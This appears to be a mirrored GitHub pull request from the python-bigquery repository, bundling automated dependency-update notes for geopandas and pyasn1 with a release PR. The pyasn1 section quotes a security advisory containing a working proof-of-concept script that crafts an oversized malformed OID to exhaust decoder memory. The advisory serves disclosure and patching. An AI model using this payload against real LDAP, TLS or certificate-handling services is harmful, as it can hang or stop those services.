[pull] main from googleapis:main - #46
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This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [geopandas](https://redirect.github.com/geopandas/geopandas) | `==1.1.1` → `==1.1.2` |  |  | ### GitHub Vulnerability Alerts #### [CVE-2025-69662](https://nvd.nist.gov/vuln/detail/CVE-2025-69662) SQL injection vulnerability in geopandas before v.1.1.2 allows an attacker to obtain sensitive information via the to_postgis()` function being used to write GeoDataFrames to a PostgreSQL database. --- ### Release Notes <details> <summary>geopandas/geopandas (geopandas)</summary> ### [`v1.1.2`](https://redirect.github.com/geopandas/geopandas/blob/HEAD/CHANGELOG.md#Version-112-December-22-2025) [Compare Source](https://redirect.github.com/geopandas/geopandas/compare/v1.1.1...v1.1.2) Bug fixes: - Fix an issue that caused an error in `GeoDataFrame.from_features` when there is no `properties` field ([#​3599](https://redirect.github.com/geopandas/geopandas/issues/3599)). - Fix `read_file` and `to_file` errors ([#​3682](https://redirect.github.com/geopandas/geopandas/issues/3682)) - Fix `read_parquet` with `to_pandas_kwargs` for complex (list/struct) arrow types ([#​3640](https://redirect.github.com/geopandas/geopandas/issues/3640)) - `value_counts` on GeoSeries now preserves CRS in index ([#​3669](https://redirect.github.com/geopandas/geopandas/issues/3669)) - Fix f-string placeholders appearing in error messages when `pyogrio` cannot be imported ([#​3682](https://redirect.github.com/geopandas/geopandas/issues/3682)). - Fix `read_parquet` with `to_pandas_kwargs` for complex (list/struct) arrow types ([#​3640](https://redirect.github.com/geopandas/geopandas/issues/3640)). - `.to_json` now provides a clearer error message when called on a GeoDataFrame without an active geometry column ([#​3648](https://redirect.github.com/geopandas/geopandas/issues/3648)). - Calling `del gdf["geometry"]` now will downcast to a `pd.DataFrame` if there are no geometry columns left in the dataframe ([#​3648](https://redirect.github.com/geopandas/geopandas/issues/3648)). - Fix SQL injection in `to_postgis` via geometry column name ([#​3681](https://redirect.github.com/geopandas/geopandas/issues/3681)). </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/googleapis/python-bigquery). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi45Mi4xIiwidXBkYXRlZEluVmVyIjoiNDIuOTIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [pyasn1](https://redirect.github.com/pyasn1/pyasn1) ([changelog](https://pyasn1.readthedocs.io/en/latest/changelog.html)) | `==0.6.1` → `==0.6.2` |  |  | ### GitHub Vulnerability Alerts #### [CVE-2026-23490](https://redirect.github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq) ### Summary After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. ### Details The integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496 ### PoC For the DoS: ```py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource # Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024)) print("[*] Memory limit set to 100MB") except: print("[-] Could not set memory limit") # Test with different payload sizes to find the DoS threshold payload_size_mb = int(sys.argv[1]) print(f"[*] Testing with {payload_size_mb}MB payload...") payload_size = payload_size_mb * 1024 * 1024 # Create payload with continuation octets # Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' * payload_size + b'\x00' length = len(payload) # DER length encoding (supports up to 4GB) if length < 128: length_bytes = bytes([length]) elif length < 256: length_bytes = b'\x81' + length.to_bytes(1, 'big') elif length < 256**2: length_bytes = b'\x82' + length.to_bytes(2, 'big') elif length < 256**3: length_bytes = b'\x83' + length.to_bytes(3, 'big') else: # 4 bytes can handle up to 4GB length_bytes = b'\x84' + length.to_bytes(4, 'big') # Use OID (0x06) for more aggressive parsing malicious_packet = b'\x06' + length_bytes + payload print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB") try: print("[*] Decoding (this may take time or exhaust memory)...") result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier()) print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes') # Try to convert to string print('[*] Converting to string...') try: str_result = str(result[0]) print(f'[+] String succeeded: {len(str_result)} chars') if len(str_result) > 10000: print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).__name__} during string conversion') except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).__name__}: {e}') print("\n[*] Test completed") ``` Screenshots with the results: #### DoS <img width="944" height="207" alt="Screenshot_20251219_160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" /> <img width="931" height="231" alt="Screenshot_20251219_152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" /> #### Leak analysis A potential heap leak was investigated but came back clean: ``` [*] Creating 1000KB payload... [*] Decoding with pyasn1... [*] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heap_dump.bin [*] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081 [*] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @​..... @​.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @​..... @​.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @​..... @​..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @​..... @​..... @​. [*] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1% ``` ### Scenario 1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above. ### Impact This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc. ### Recommendation Add a limit to the allowed bytes in the decoder. --- ### Release Notes <details> <summary>pyasn1/pyasn1 (pyasn1)</summary> ### [`v0.6.2`](https://redirect.github.com/pyasn1/pyasn1/blob/HEAD/CHANGES.rst#Revision-062-released-16-01-2026) [Compare Source](https://redirect.github.com/pyasn1/pyasn1/compare/v0.6.1...v0.6.2) - CVE-2026-23490 (GHSA-63vm-454h-vhhq): Fixed continuation octet limits in OID/RELATIVE-OID decoder (thanks to tsigouris007) - Added support for Python 3.14 [pr #​97](https://redirect.github.com/pyasn1/pyasn1/pull/97) - Added SECURITY.md policy - Fixed unit tests failing due to missing code [issue #​91](https://redirect.github.com/pyasn1/pyasn1/issues/91) [pr #​92](https://redirect.github.com/pyasn1/pyasn1/pull/92) - Migrated to pyproject.toml packaging [pr #​90](https://redirect.github.com/pyasn1/pyasn1/pull/90) </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/googleapis/python-bigquery). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi43NC41IiwidXBkYXRlZEluVmVyIjoiNDMuOC41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
PR created by the Librarian CLI to initialize a release. Merging this PR will auto trigger a release. Librarian Version: v0.8.0 Language Image: us-central1-docker.pkg.dev/cloud-sdk-librarian-prod/images-prod/python-librarian-generator@sha256:c8612d3fffb3f6a32353b2d1abd16b61e87811866f7ec9d65b59b02eb452a620 <details><summary>google-cloud-bigquery: 3.40.1</summary> ## [3.40.1](https://togithub.com/googleapis/python-bigquery/compare/v3.40.0...v3.40.1) (2026-02-12) ### Bug Fixes * updates timeout/retry code to respect hanging server (#2408) ([24d45d0](https://togithub.com/googleapis/python-bigquery/commit/24d45d0d)) * add timeout parameter to to_dataframe and to_arrow met… (#2354) ([4f67ba2](https://togithub.com/googleapis/python-bigquery/commit/4f67ba20)) ### Documentation * clarify that only jobs.query and jobs.getQueryResults are affec… (#2349) ([7322843](https://togithub.com/googleapis/python-bigquery/commit/73228432)) </details>
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